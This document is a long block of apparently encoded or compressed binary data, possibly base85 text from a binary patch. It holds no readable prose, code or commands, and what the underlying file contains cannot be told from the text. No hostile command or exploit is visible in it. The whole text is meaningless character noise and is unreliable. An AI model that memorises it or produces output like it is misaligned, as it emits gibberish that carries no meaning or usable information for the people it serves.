zQC~CVskUve_E9}ULNMbYkH7pUgR-HHWx4AtYEigBPfg*!>t`cRB*(o^ZuC~ z#;fzbrsIN#KO>fR(vuZAO(^>tOGtI+3rpu0vMxwoAynhm0x2Q%x+2)P&amuGaBG%> zSRpac8s{zR7aj3t?pu6M#idGGS&|K9U;0= zVGswTu>5Zk^kv~AWp?kC@=cNM?rV;cTCRmsuBRe=EVM2*;Xnl%g{RW5wMxy=3aUzb!{c33qK}&Sf!kV&^#p-WP(25i2q5G3@sb{Nhe{VBJS6g`*tj8mfg?%BAHIc z>QOfEj9TwCE0K*Sm0&%TSSOhj_dOg>nDb}f8fs5E;`da9`rwx#Tr}8I_~CduDW4Om zL{TZV0FiuSu7W^`+EtO_HgT}BVI9_tGCZ#MRjJCfkxIysDl}V>D(fjWZz%ln{i}ddu2vxRAh4N zM)Hj7lLJKqMWsj3XuGrrQckjC>x8HBq?dW6rUQp&WMt>UrTFo_M|;S!b&rDJA!U2I z2**#jwswZ6tY!A{Mq5W^*H&eLcy;rTU97xRn9Xvr!T{T}vE4S=)zuNxaJfV6F(l*m z{+^bJ*udNjzYWF+>hN^xu9Y4<01XmI-S!l!kGd+bTM@Fc@_G3 zs5KRn^0|`dA_-MVMSRuF@P2!81*hBQMzUFJ8+Dr?88@3bBk%HrfH~W-@1|@iU)$Bp z@zvpa1lCtaE!V_-`qT_%Ctcap)bkgN+ZRmczM7pDSfZ)>wr7JzS%t$-OZ>9T z_Zh} zvTT$b#T1*_miMO=$9h)^RAbE87HeL$4oI~-SXbZox7$=#`%JXSipN{&hX(n^+s8Tq zw^}1e+VgXKqjRf`yV?Y|s}rX}Q}}CD=+ib_IuYd?bO zf%Rj$g{#1;lZokkos0U}8?UN8vE>(UV!-L>(45Y#&iWDkzy>;S^+>n8e*GCquL(~t z{}u?O)q{OjOr48Ha}@qm00d`fg%H=rSKJsi*?@MbTZz}N^WRvF2OX0PTke zy~p;RtvPuZXccrH0|*;~s;zZ&Wc>t_g-?+NC>fix{Pf;T~wwpp~cTLgET?BmPiLmP*xMx+4U z1@dj2hRt(nBfRlVytc(BZzJJ(Eh6@IVN-sF1T`jPBW8*u6tyk>yKMnzV~8WY8*)QN z0>fk-MkV)Tlg)T zp2qGQB3Gu^w!7yzi*Z7yXz&Ds5L)&9E9bC92#zZk6M-e>(v5?`rc~#b_MXlgiXHSoiRs zw9HS^h-;Vj9`?If&t_Q8?HM7GTY~gmPVq8Yd!bLkWxv8_98UM27K@v8BA?7P*lZ+N zIoz&q7PNT+Y<3&K2X$@t5>AFHMk6C^58uf3%59G^tWL(yPWNoP)@(G9>@I=UO=s4N zXWUB_yfTr%8@2OWQ@c9TMKc#${)F>U3=^t?v*&)hP1566b{iN08&IS*80f4t^8B)) z>!o%B(zSY^-YRy_?iBg*@2>5=ni+zx&9ciNlKKU5l-6g=%eTl2-n%n+flCDW+^hL% z^bp|k{5iDmr5r#s1G{ z|t#qNINJ!D1)Qz%$yvl$>`hk<0opS}G^K^nE ztb~p7#H~)q{-W)*1SKaWq4ST#OCyOpUNa{Xi3>fLJ4`;~>&QFd!dr{V6YxqGs|i!` zN_~92YgIj07m%K-udB0YyY2m*9p;rthqJ7_i$fxZo}CN(4ZnP$D+|oM49E7*sAGo( zQ>O_R8%(uL3Ku&RSCFN|Lm*=j-~D~g=w$`En`Yq=+=Q$5{%yyVarpY3g8UIDA*Ybu zBg+1R$AA+K%wx2~Pf``vAO_pC5Z83V=&+C@^TdaM!iP|a@(f1zUAm_<*GE73Q-6+! z>x|bDR3D)c$j1)N?`OUirG~0Oq6g9zDO= zLvW#XWypi!`E#G0S4H7t7v&4kMqugnx$)jp=iKXWqSvIW8$HOTx8n&LnQJoj!2abH^S7>9Z3gqa*^e9T*am~<^W zxw6>}@y=X(*~ffi&Ggw8@G)Qa>4SOOfblKrc)g_b9gT83$8>$9d>tTst1$H)o&a&P zUyNotuO~WaWqRN4ALPzkdFH*PR(jntf_emA-uBp=ysrEU*BsE@7qS- z=XubFjV}oJ@fRep@b539?={GGM&0)r)Lq^2m|FSr>I-^Di2P^M2B?$;Jf?O$9<77! zIY4F1-cOaFgGRF6f;W$f{o%s%dv%YGv6OFHl`q5VpeqjFnL^N0ln+RH`oX1g|J}%= z;veF@@A|(W%2;29E8kw_=u`j6S9JDI{+LQNvj}Oh)JhSrU z9r5g+<#T1Iq{QZjWyj<2$MBT0E{~$`@0PwrU=Ni4+Ef3Fa_9s3Ssgn$|2--1u)f!o zjyIX!2bG|w_2*yHZi@dC*#5BVd&Ho!p%nM_dk@(Ur}V+jivK||&V3Ag_fqV5WA<_$ z@^;|M{OiB24)>2P`IRza#1BUcC`1|esjj~F>(BST-XASy*dW{Wf3tdT6?nPd_xxzJ z!~UPfb>I8a4JLdEL!BL0%;i>M` znqHjUrL2!{JjVw;?=Ok(@xmP{#rl-k<_F?`g#_~XKs3EJqF8^8*r@(^)Ba2I|4!gz z6o}4D`pQI_8{_t!nRl#@Ar&ulQBGHD>n~@g?f>4-Qul)Y(i*vEe%$exKS8Ae(|7gD?0;J&2ad=%Iqf2;tyXVwyOUnRC_4?19sm$vf=HcHZh$EPJpjEZL)Wd z?`ucdP&~-&|3Y^>GO$0Yuj_53x?Y1orGD?AZ|^B@zkmFY?fwq(z8si& ze9Sy@@8Bbb_kwkGjevm#^M>T6S=@pQ#e~BwF*ol9hl0bT@KK7}GYo;ony^1P_(?h# zO(MWgYjH)E0*a$iudzP7BF{}yGo3E8xTY94<#xTg*}0~i%n}a%N^e<*Fr6o*%4~Bq zi$OSG$z}V2j-nYe+uOa-b0qX(G(8Hx9!Jo2a`Dxu?(`8b-S}A z>ba(;nj*!El|m<*pNRs616v#ue@kjz{a$JM{@K<1CHs7w^gD|k0FT@$X}WNvEaRH{ zE@QbI;ne5mS&3;YGsc&jjaJQ6Gs@3K@2-9M;p%d_(hkJ*_VRRpt#<+vu&;%K4RwIR zF~{+TqX9MP(;y)~5CztJZvqPfpJm5$pf0O2_=#vp1#X8gY`j7RDXu;hI9}XD;!NK% zsN=%i-Lw`C^m8?G%RXo#joOZI%}_lo-zWHcG3L7C{hekh(@>Th4mVCw>X9s7l?7Wr zFv7fAwR?*l*=^1q(FmQ)XRJ@`!~7fO`5%>Kh;)Rig{yBOI-D>YV;-Ty4 z!||l68KN03i;fh=J*~5%(x&fO;(n=WXiGUFZ{FARy6nXsN$G@W9oPDm=3-YvPFaZk#{W8*|yBw4Hs$hU1lWRhU$^F2H%kn*->6 z+|IG?J@M)~08MS<&}%R59Wq;P(9XH7*)httGwi{4T{F&|`fbT1v)z3%9g~4$!-){Y z=W&ql>-KptFyQTHaDb|f^R^bxo7;|#yqr6}lArgty=1HL$NVl&e%`{&N*|W1oLE5H z;aDu^Lu(}r!$XRVLwMy)wUq$RX?@~l`)QN9PiOW>zbc@1$X%{gVfZ*Ji7ZvSmNd_2Ze>p%x)z*Z^Qhank#uRsUtLunWl{ z+NbOL>U95{fbI8OkDKLqFl8zpaEyyzF{pZHXl`84+!ucA;Y7&a%!LrI6hf%*1`q86 zIt;!;{C?a1Om>4Qh|W^&N$*4qK13=a{wE@st<3j zn!onpxp@0jLqkhHY28M12_B1v=;5csGG2^{M5z0PEwkfFp7fx;b44GH(b^V3ZjcgV z4}BNk4N|<(BrkRQ4spejki41)`TQX9CA20fSH_4$6-HXEK~A;ADUZ>lSy&TTlhV9O zPT>nTYC|xS1U%V$za9%_<`QEmfSALQh%IX&7aKVzy1|BaU!;pq20PO%!#;mp^2PZ`*~)Sx^s21H z)P_oXn`WW;4XsGK-AeuXNi~NeR@Fnt!rt_vE1&zO++3Dc#cFuIp=GY>hj*FICCyUD zS-rAB5Ez$%)M7XH`+a}a<4!t>xqcUnnu3TEV`Z!9Ihrr=OeO`NrH_{;rtb=J+DVPR zhfU2~Vbqt*S#teAP}BLtR&1-C50^}{vLwY?($ZQ^PVX_bb~oQN4+T22lL*z>1dPO%IZav`PLgkwxF*HHY`<$vrzjhy2$7|p{cbmoZs6(uIB`` zstew8-vXae>17bUiLEZB-oA8UWfjo0^NX{$7LVB@A6`eN#I2LgwmK}9ZX1j75%7#U zWb!GMC6S=HLlC*feKvKA1h;uu(&uMvvdkuvSyM7s1tFEUwFxLDDMpimC9(BnmoXrD z)Ue@O#GLs$<$Bn#)!TLaiuM-RfcrQMKWh$Z_&)QumZ`Ad-3$=KftjE(_vAU*jT4gW zKDWTrc>4IY;zaT4SV{AAGwKaJbGn7Bo#s&H-A(CZ+5UINsc<(IwhDSARn^Lrx$+9D zG6S7W10L+*yad*$cr8nv+?0j(yW2`Xd_4mgo{1{@in*K86O(VLz2gk5b-AaOhK0$? zyA=)fmGma@#fPh_Z$BID?oZ7^v{nz;@7qn<#Wf;QdFcD@S~tCQRZ`t1?Vw%TPsa{b zi;F9K=X))6U9d+_DX5DIaBRXO+ti{k5!-f^nYRyOs? z(>v15tRk^zcD*lImyy1_J0!kMfa*z|xI(WrB02U^qxZ``DGR*&v_4Pc?#MTp^4_Wo zB8F0pr&pq3oC`9Tbu-xn&K0rv*`_c$6Kkgj^|kFsLL8oPcJ%iNW`g72J2<<3`dmar z=^T-UFbx);-F-{sI(9t2{2cA$+P43?Cj-~I_&vq@BX(KCm~pAM(AxjV z@HnLWem$SjWiPeXy&I+bEdBl^|DNG#Di&~4(C9V9LwC7)O>n6T^4caQbYETo-Zc(* zpUVO~)Fa=Ke1^BOGCp`SgD$c~s-mbF=RX0&GpXM6hZmWGgPLFjt zieY>o`Uu6Y64zf4Iy&m6GJS5%GG9;ceHQpWb@qWWUkp~azw5nz*?2r81Yxh=RsT-r z%L2#9+Que2$i^Bc+kj*sf?&^rkjioqC3>+Tf>O(ZBhWvvAcAwyhw<2e0T4o-B@Kpe zz$a|LBj`jA2TQW1EfR zVsIx)jMtxy7ij>Ml1+G*m2LXbo3f$;NolL(vyJAoK~J{$k*){?3r3CR|DgF&SV ziW{>bDR&NfK^B?Z7XFq2K}GiG0+NtT$a!y24wC=Y7+el*!WOluVT?jgieLauu3|1M3KD1qla%FozE* z=X5A%Bq>)yE|(=fH$aZEf|SQ6lZU~G2e8eclndse!5d70K0CowgUu@HQgnk~7yi;1!ixkhllQY5*2f{9cHxn@DW zW(BzxxQT4W7i~bk_BgrDe7;UUx$a*6kA{4$H{*?0a((DM`x8; z4exTdWsQZlevuoSsmW0~78tqu>^lS(x?$|Q`J1_C6#i_;xsarERoW*#f~4myaIxJt z;LrEQ$Pw8q^oc2Cxuf*8%%Ru=1-mr^y&DQuLWxsl^Nldb0;UUX(f1_o2m@ot&D4s5 z&d7pIi*#+xEr2E=I0V11;3>B#gDNQf<_rC3O#l3#G@jlgQKSg(KL{G9(wjff^`MHd zqzXAZ2tm$@0+K~T7e^x(BLIj!LMdX#NmMI}yx0%?fE01!#c@}AacYNLn$)4D#R=m^ zeknPLE*7EV(GQ?uz+#3Nh>SDpw7cTW zH|i|tk}PDJ%&#Tc1T;AmB{>Y1ysRa;EJwNGC3$i*`D!Kkx-tUzk=cMZuFYD!}>r*T1)1~X*65%sH>31j_a5)+9FB^;IQ@$5JVmXj3yKk0cIBcBjGBW|c;= zI@SdKb=;H4K?`E03lsd^J>4S`}7RczJLg-VY2|CMydy1Yxe)&5Dk z)1@12XY2lxbTcY7{<1Zx2KVX{Ma0QJ8cEP@83(T-KP4{SgT3 zhg(+K`H*xoSmEp*j1mj1Aii=dTaT8j9|Ol)8|_L{BMe(O+Z+poJAG;2CEbrhTa9pk z#dh0TZjTqIbdOj=S_F5NdOjrG8O(cE|4-5_tLx8fX8-d1a2>MWJ6u5VcjSO_;}>KJ zc{Fo6tmq%1F87@g>Yx|(jdw{ml@i%sw73zxa$e5xkkY`1FZ3Ayhq1SeimThYbqjZb zI|L2xuEE{iA-G#`NpN>}cXxMpcXx+i!Aaf9yZ3JUoO{1^?)g(ctJ+$%)|`FxG5Rx; zE%L*X9K;QT#xL)-0vfWY4kFpsM-u3@R{fKNP_s1-Vg$2S4`O#vDfMC{zmyroXjtA2 z(;(7NA0^%rrjXL428ISC$PY^%r5FZde-jEc#Q9I8n}|ICk-3rjB(w83$t)3ooCyWZ z`SHx$V2Q0@96NB`7nbzrmvSn7c`l(?YRJ6rC;5r$G>L4>CV11ZuJ8{?oPOFg=cP1K z@DPB);&Lm=J>7??^4ekGxDqOOQUfJBgi=FbW#{nvR6!Rs?>Sckyme*%cCOh-_6Uc} zHv4(6B9i!4=0GY02Umry%Q>;iREv)x%~b1-8N6LVW3kIX^CgFQbXANnNeyZU!K-hV zSm3<4)TL%k3g`@@}HFW|TRIK08vgI>~`RDE7U z0P|sTActdKaJwTG9$m`i-2~IfW!%W;37h*Vu9M39X}+h+`x!wP`iEIjY}u@Vd~hlv_?FGs27)i1}HZr3j- zxgiX%r-dnYuV`Ss`RW`q&= z{;*;X{CGa80seV^`UM065OV=AlD*(~H@>j4x!~BNy?={2l*n92O36NW?O5{yoFRaY zgFmw8O#rbjGL?90Ffh%R&p#E={3S0G>qjmGVXFZw`EDoxh1iH@G7ml}K^Tig5arLp z9uzQGQWOH`HWWKT7RqXs84J2LgdxxfLkwq#wpa0ILMS#|%PMTJUSOD8yb(}YNSp+D zH`3xT3bv6-{QYAu%Je-CRM(AcMG6w*XdaZ!I|M^NGlx3ZMC0CbiI9Fljc^PsAa!XN zWdvu6i={iTN?r|>o)-*a1mF(G_DXTt>?P<3u7B>wk&;oLk5-oTgM*i1QIMWWtZgKx zA(4{AW0*|%tsTH{;VVN5>kA;EN++F@oHSxVOQpL32uVB0P&}}tbUqw0iV1=vXEQlf zOyYJ6r!n%O-TAMa7jbHoNlbhLn9mO`a0PfsIuuhVWYz;dmrIQskoIQ%$os<04FJv% zJSV_BZ$=0pgi#W`-{*i$P4L0J211^)w$PCp_q>nona}_DceIH-QetjqrL@HMdkzUNl`&}w2 zSFW5gzF5rj8#HlPu393!RIdHIToV-OZW&*y21U9Jkt#Gtq?hZ{e^*+7BHb&0>$=}n z4p9}lC(%Xhrrz-TH#{Y?Q`yy2u!pQtL(mk;{%=1_m8wHAV%V2I)}btmT}5$%aiu7FA{|XH#U`-z$Fd zsR`NP>ntXtS29h~qXzS?H+)HehLE|kWY-zuM-0r4K0HTAK+twCZZ_2XZA?0x5$YK{ z5nOu&LA`-n6C+z!1aEld#rs>#^tvwa*eCc0iKA9@X?&0OrSWI<@vZ0KSi|?mUY9b< zVQ?6(UVJbT5vX@VFr6Fpu_;&&?8`o|L+l>RXeRToll83c51j~8_I=Gd;nAZBX-`OX zinbNIZ^$b_*B^F~oRcarJ(^vF6*Uo`cc-Ad0F44$cKq1wT5>d;74nG-#74TH78+5?c1ztQZPb8nFXb5nHpH-p_vA@R^{%9{jv;RM*c1xnt9>G z`36`*cB+*kIN>wJ?YX#a;BO+n{%XI``ZoF0)mRzi`D+6z>*Gr^O!fM8x92)5Vbj+w z0$b`8ypjUs0_RVWHsmWk|*Lt z@)ln0$77jNE)LlsLi^9Gw0GdL}&!ahQy$PRRk9mPF zr7_(PB?=$sI>1-e=|9OWGauLZ%B|VX!eNk}y&|p>8HT(k1f3`pU zz@z$6x9C^&;75$(PsHUYEwLYKqFI`ccAKC~L~9w*FAC2-1+0xGM_Mg_W&J z4l)e&pD7BI(+pOU^s*@ZX?bd8V-Y~;0+Vs%!^IWi3>(OM8sMH9g3%h{EgAUZIm8zy z)SoMq5z0Q;Jv7uJIJ`AfaWpg<7#j2qHY|=REI~6Y`8kxH$~@KGFEiB7YBekuCp>>O z__H|}z%|5WHN=z3HhVU_`Z>Hd)VGW)qOsJsnG3cxHKM&WqH{H(JJiPsCo*F-)ST-_ zqI(!96*wLmIdtl;!WEtaigd#|FN`|qXhv|u20T+nY=%Z{r-tp~ME7t-A8JOMP(?Nl zM^0(_Ppn2?KS!UpMo()-ElS4NNyY$&{MVkNv|5ZSo@2^!V!@?CA+=(mwL-&EV+UGe zXIcZ1EiG?w;?TI`5Z7X@B_n4oV(`X%$wM5FhGQUby-DF>x7;J(!(vaUBB{&b>C)nG zUgB>xNc( zxJle_iFcYwmljEyWictoG0NOYU!{@^ag&XxsRl>1L|zh~ED~k7fHEU(q zhb6apB)5*GfEwDpxS6$OVKrKrHn^!KxCWJF$x>sPQ)}T6sGlH(kS`TM$?B}tw5-Ll ztn1#ajkUj#?%8AF>>aJ_1CQ*(wJe7ej9uKU+g;@Am+Uj@oKvlw2g{u2w47IuocFby zr!a{FxZFQ&IS|^p(Av4TW!d0!*`kiQ_te=4uep1;c}r4xw`sX(<5>*=$kL-MqSrj) z@+|OgpKcWMzj)?TrRUSM=hLm{lUscv<3VBM$)}E`h)pm6+jcT*sUS12rv zB4kx?SBol$SHMJED6n2A|62HfQl!jNq$pja?pdUnUZmY#q^n(||5_xAS8T*nY@%Ik z=2OXsJ~tZwwjyT3y+7OT+dA16v@o(In?cg#w$ns-;)!zWK(H@_Le6)|(cG zW9p1&O2(3oq){U5ZH|36j0Aj@t51jX9SDG9zInjV#3=2>bG1SVtaT*RHBBbBO36&r*Z-DXGGtZ!>+y#e2Xzv#^4QU~& zn(qN?w$f@T4A~w)qVB@hTP{cN4({pAr`zG`4Bi~Of!MrOC$rOJ2L3Ce!_5IQQ8?bd zF|57)zLF!CSkKp56Yx>_&)H{LqzzsjC-T|Twl8l>8hAdFOX^!5ki{Itq;NE?#EvNb zoJ7v3;U{ZB0#a1p1pi&n{`*hG0TBIjV?lo^mtsn<8Z5h-wq_V{pDwuL6;CQto=8Zq z?ii_N97%Bm6oP)eNgSD^1`M_91FTc-ND_ihyQ);Z;*>BwX16CCIyy~Spg%mJR3jBh z8ZxJga=R+EvLB1lWbB?baz%xPxmeP;8V!isC+L8aF&Mqp@WTX!*d0KFMqvmx+Utl_ zwVoWjeVnDULPy!8*RD%vWWu=9{gV)<-}+h3fHwoM0Vqou-fIurK^9P5V>TLd+()E~ zEWJM%Otgj7%I66-pL8QUCYBqCGHuU+3QQ)Xalj+3Rv0<%!ix-On1KS zxFnONus^zlHk*{9Y+fiO^Lb($jW2_`;CG}&Qjx)l7mTSFWW^jaL=78Er z-Vxt$B^&qJgI>1%%3Dzngt&=R)A!newg$q{G>=d$IYp-i9zEHz@jh)ovl;eF0x+cB z*eeF;jlk?nch*btMi)jp|HEcyf5#WMU^#NP@@fb>I26otoqkI)O#)dJ50-^pSNMfD+86dmTvsunpyKGk42 z!6k_=q&*#}L>RWTc|o`?o1+L8e<#*Pe4yxwfzVzV)jrZU$=pJJCHOJJ*r=_%R7OF^ zTS0FHGg$H1f}p2WbW`C#vv98K6w?gHCCieG_amudOE9p1-T@2%IDpO&fCJD2Qv?IR z0DZyz1Hd^0LqfyCBO;@sV`Agt6B3h>Q&Q8?GcvQXb8_?Y3kr*h^Y}uHODe0XYijH2 z6Ai#k{J|<3Iy$?$dwN53!`Snks z4^Pj|$G=@%|GLT7_ZQ+Zx_y3mO+aDu=MtQ}#0Nc6xu2o`g$Wd~`a~q1nOccZO%HB{ z$bwx!23p+Q@^I70{ zY=KOUeAi!7slgh=3G8_KwL1{;|G@-K@Y!59Aqk~s#_i0@%$KjyTW{}5Jon3BKQK1Z5fzqPxZe3Lqj|cnjl^PmAhX&dL zo&UQ9QqB7Q7bf}Fc~m_u&#wsk2PVl(QW;ar^A{#*QWX!{0v{~O)F%>XjmIxj%Z?^9 zxG0UB!l?gunB=_bI0jimu^hWpmbBV=pCPnOl|MXNijb}Xw)&K_Lj{;&iY8Q>YUqWW z;XpTDp?0#}vTzT|blD*XJO1Y9asc5Jv$$Eq1&T>`<=hZ4RwIiOqZtLxSMm#O& z=?K?N5{r>&jzEB?GxKW0%-VgX2{>$UA}kR1Q;8fhDfn!O2BQx&KJU%J#vaQ7yf5W$ z$9KeEW%7gp4gj1HY#GEpF?2`_#}MyZFs09=uu&yD;(x?evr$<#{c^n!`&%RtBc1y` zqa7u2?ukOI?*^j7(6h++ton?83qhV&%JsOkb=;TyIx6VL)TC{Btd%~V{=;fx~HXxyA4nmfA;6`8+S zBPh|9!<{5k=YhIJ+-jSfJjpIz>r3=c7F9uGg=-WOB#Gx*$&hQ4|QRUY!@jkEIw4zU8PlWD}vfnf@ zhwF`KJv9G}qkIA{m)vh$zDmn)z%44h3bl5ot!yMWqGd4JNS2{TLxcLyrUnV1(*&)6 zSO8Q20LI=I(jU^rB_Je_Efll@h5%xvqs5~^EUWMSHi1!+9C}HRoCy)SkWQJ95?}$@ zj)|en$>9F>X!VIYHF;GH);W1BF`evTtmRl$cFxv$Tv9Q%VRPtRm}vT)<6`Rub++Q7 z$peKB4iO#e4d)jDe*Zk*@Bjz^of!ZDfcuXU=>@>RVwA!y_5RCQcQ7mpDJ4d3U2@11 z4eWz{4&P_WD+WsvWWe}Rj3Ojo`NfmKuriNHvxG*Q#{%t;UWY|Y9V9O)M%AD&!J|f* z(1g-?+??=gozHsZ_+chvnIZF16EUGID2zm{7K0Tb*KrjOtifvBy1yKjtM5fN!vcE= zHIHEZTE5>SM}o2V>ic2d5pn0I0CsznBX$XOj4!7-!boOJWyrscQ-`fcW3>*_3YQxm z5HmM&-lroWLV*8QUYUX}iu&JbffOe>iP78`#tJGLhx{_3kR7+~FR=5OZKfM9|q+G61drkREglTMSiisX6 zhuN25*&t~aW3?c)lHgV=B#1JEG&*@^OcvhOu-S!p#ilzR%q27u85H}+Kz2^M!Dch` zbVMd>dxLZfghxVI&719bM^-%fidKj9I6Bj8AKH6m)rq7m;o`x+1lSDW7}O73r^p3X zBfb!Ipnzd0)pE&41dcN*l{Q>;&3<3lb@;Z@D_t-VBcyvG3xmdfvSYHIkfgl7N zC}t~6#vc$K8AlGO2A73syZ-m2EO*Xdql|eS<+pocAOTw(_$;2DOeFV$9bVGgLd&ss zx(^P6s7i-I0J`fnup9_UViH5)<8OPJo}*gxy8)>3I0G0kdDyxrKiy){2}(2xch~_?InE-ARMP3L-4;Mzg{#hN&qtEa#<;GvuXV3*%hpJxpAx z)z~AfJhR)(0zI3h{B&0c7Z9EWk#Eg=jUg-o}Xnp{=0AiRZ0LlX8;-i z9smoHi`1a?TM$zUBo`r2@haJB(M0?L8N}jCYxDbPz7JX~av>OrL9lqMBK~X5$NgLO zH~-~OWv{3~NA4ijhR2O@AV)zLyP;%lhD$;4Pj!_-NlNm$EuwG=0% zf-4xH1fehHsiOlm&vjF+zlr*laHKVI#o|n7N#bLPaLr;WYA`FQ$x1g_PWo%Wse5WQ zSr1jhAc#eUvnOcO=rC)I4>r@&)Y&gsIaxo_sl^4}oexc<)aZ32f+HYrS|;obWTL_R z(P0lh7-2QpR3bA&t{7J_5sdEq2O!KHLBwyoo4&xOjIhcoH2jIT)_B7)QcTL0DAG;f zyuTyL9=Y0drS>~yxUGne6WLOys9NR;jQ^*YEE92X($%D27%F{81gCRHu&I>t8!fKM za^Q;8cU#a-XZ^;R3fe?`-siukW=7n*+I(&g=9)jttiHf(`P8bltozb-nH#zvP(R}b zyc0ed1TOP~t{p>Qa2Q2c7iZU>kO$J=lN+=Vdb6Es7>N)I!0tK2nLY0d&!ygHdm|4@uo+IfIh z;xPuzqLfC3c7--3fnr&qLMRK_m~fM2bgxzkBo>eR1zN3KocLYiLxUBFc<4xtZ{~ox z43?EoQ>5KQH<9wGEB}gT*=8-{#J7>_%vaurC-%Z& z*JLDgP|@p2A^AQUwaeRO?Lvk}>5fPM@Y<@@8{+eH#C;P3{(jmH@TZ~@@j1$JBMql6Kix&WCCr74TukCR z5MeLZgd)<<)!6g?3T{ajfLdQSiX1^eEf|kNUrLHEN3gdS%B(MOB&33Dcofg84uFa| z_IRO4C5V?I3bU#PLGJ9j*N%dm@B+o6U5>e+XnobeECAw>DU=yL$6TLnLl`hd3S#xC z&I(7P;s=V7ILgcXK5Wlb{!>T`{J&V=A9&(STK~H|`=40fEQK)%R6dAoqyHBoo(Hi= zP~-nf#Q)4nOsoI@)9@m$)NM|C+W*z?^#2R%n}4OO2&CaxtmNM8&DJw7{I~hNs%<8_ zf4U(vbT(7$w}+tbcyqc+@74Q!eIj^n)jwTrxZeh8csCH;CItAIF}w5S?qs1tW2e!2izr28npC zynl;$BUl3mD$IRS63R9%LYw9;s;p0eni^ptf3BVld?9{t6~sL66%)rvqTwDy4DF?w zgewTF?Z+vKTT&!}=IDz4rQvn_af?%p<1Nk7%!|X!QX-f&@uR6o?l-@rl*Yj%s60}X zcvFI*7bXhKq6J2J^Kj?;4?p*ZGecso0>#+Q6bY~=`{ZGF@XWwshTF{y6n z8MR54UvoNWNL~)Irj6BJ+br?7 zTy+_sUih8lV4v|r*Q)=v`EO&mK%CeRV1sC(X9}A% zCwX)6mwy_=ZWX|@e;UJFI|10+Eh&M7)fA;__WTI6&v?*J`bxdZzms|o=f}T1O`9Sb zp6G|gv$~GeAG$DmzK`!0SYKOjZciV{kPDVvkay>qhasXk{uH>TC>x;zHHLd+TT{`N zJ<5dwO_+IU6A5(6uRO!#%5!wwemKTZzA)R=yTSQ{G2(kwPvl67C&cH6FGpfCtnRx< zo~)5-S%3uAN5?P9TRb=#DKf|tqeeLM!&9V@3H%m#STeaKLuBQNwOGUyK}hXde~igp zD9%tJWLF1FV#GXH3CVu6^qauXi^PqRWc?m_H$fB;d8&U7nkkefe@<9vF8gC6YXAP^ zMzp#63Ur_A)!d@<8s0ZV3;Y&*E9R&3?Yk1?;z{Al(S_5aiWGpXuSU_)(b**-=MuCD z3KGUD6Cfsa^<%NH8Zie6{T=v~l;B#wjs83EYcM(@uzVZi>n##>YJvOp&y`CHYw9N} zLAX01B|WVS-CX(LUOnn@#>jNyJ-kK%>^Q`D5whg@MZuDgvsnS)g`B=NGxxgKFQFtq zBC-)E9yyF($*rog@On)W%eW(n1Q~h}R-xm<4>6e01nJ~Mt4!T;p8_9IHEEhK5KRO^ ze%1<_JSw+|8)D7{{S*p5dj{`RiAMJ+m63Y)pOuutQx5tSSi*NAHRHa#knKRQL@=fW z{3zQ zU4kYhAE&QG@tax{j5oa7tNo$q*_le#98cw|zC_rQngmYC(ZI$YMHaU@?6AQX=JQ1R%6!ipntT*bq z;(b86tVcP z9jB}4>PzLRwq?OMCo42n*A+QPwx`>$D`-~DG2hEFHLs4fhQc13YLN=9&Am!{fc{t| z=0jH%&!r0s*|#mda#m7x&tKmfsaqFh87$)vHjh}I+GeAwol9i&vTU3FVSNKfK&j^SLD>d--r@0-jn z82)oF6vqt?{OB$ef;%Hbv#dX=>>j*MYY$4bgXJ@AJpzdJO^jR@D#5q+m-S69e;a~* z0E5}#K13`dg~b(&hPw)4eNWd#yG?&$*JOHY2`f0KlvlT5(}_xiq_}+Og|G|1Eu`7uv5j zM9u~l#|sQs62$tRx`gn~U4xetZ7iX`vQl|l$9CsvrtAgSd39{;GBmf2$obmXZ)~2* zKau}IxpwX7*u05u>FkmF<+1U${oMSN$m?L|qL49Nd)?CeLLcgn|Go>W(Atl^4c7g< zv4gB20`W!uHeA7*(Y)2B8qj5i`96e~2m4atvkN!Rm42uPT=gHL;c<4Ii1;8JeAajr?( zvRt!kQ*HloZb;d>Iud>9lJar+OTGhQdHS)Lv;WGTvt#o_-mU3G2i0VTcl)W@t@~|j z-51z_1)dYCTOEx0Pha!NjL;>_bmbpG8cflb3nc@h0sZzA9Ljj(8Ef_}k?opz* z$YhL`KaKA6D}5{XB9!0@di#^7Lc!pw@^Gt_&GcLHU)J}pt{V{Rn+^x~ER*7Ymty~L z?6&m+E$I7D^4TXs=kwL-Q~M*RF%0GoeA{7^1wMgT-+o^=-+dH-zrp%`2zE{^6^8b_ zYXt?r7WA>OO2Tm}{(`Xc{&V=X7<*3uO~Pq;_a`s}?UV^A_sJqg-4dt7lRE^h zDcFg!54znICYubJWyLB<9AZQi3|-Q>6dJcr!&i-BgWpb&l|rB}_!PcRr~_tda3rI5XnuR7Kz|fD#OO#n6*F57}qVgfb7w(H*S})`9ZYHySng;voDhF~q1klv6T{2a_ks zX{ZFJB{~%!$5U8bUsz^oRfnPMol5)yS^P-O7W)f`eVvoB>Gayv|P z#xXP>APmOAOB}_&H#PcOsU@rf&1u()-adWxZki*`R>@!*knGt;XA1~>r4@m zl0Pw?EsM~?>QewLOf32i0hwml*g*HVmDISNlehpdH=k<}){EYG9gkSy{qM z2$~dJ=xA$f%9``tYFLM5GI3g%aW2O+3R3ri$V9G{=5it`c6wBCCe~SOksA)q*w2zQ zOMhI;J*te&v{>}DtfsJp3gB@x9ajhkT%gEvMt*5XS}UvqI$}mz`W z5k)h%w$$9R*d~p*h`6LLuj#LF0nx3|LM!* zQDU-QTHcQL^))*-yf6W;B88{IKD<2Bvm&d!Bpa{1GrWlYDNY=>64oKY&O9)(t$egS zHIkUdPdQU~Jx?q>xsj(rKfGd@r>G;nYQ4Rxdp#jXvs4Z~AY9vRti8NIGC4iJcmhyG z>1I05QdLA5>N$+JAK6y?eJN}aDU zUU(;6qqUY<=<2>LT^e-e4>M7`)KYg9A0xk;eKwv}3-4QXS}WF^Rft`Owo#9D;nfRY z`^M8?%~=fzj7VBNuDkRv7GQ!Vo5;JAE)(W$98arvw5o7VZ>%gUq_l9-1bwM=gK~xS zFO45UqeZ~th8pmCQfq8M-bOpC#_!|x^g1B^ ztDym}4Hq#{~ph*iUPn3k2tR-K8;YVG=z3M-e6#wJS7#)%Sd8r;CQjD9N{ zT&5bTB zw-8QXMC`%}&4vtoomXI&R~{x0k7q~i^h8VQTFHcF7fO4FeORUINYQ8OPTr2Lvx@E? zq17310!iAv(7I)}GDYP&Y5ks^7i+Lkyxp<1d2cd(#_+v-7Yz`yZ4J0(FqwtNmNn0> z`9@kjM_xVp;a$8`-2>$`lzczYZF-m{n~8M>My>r~v@@&U+HI+O2BmwxRCXP;mvZSi 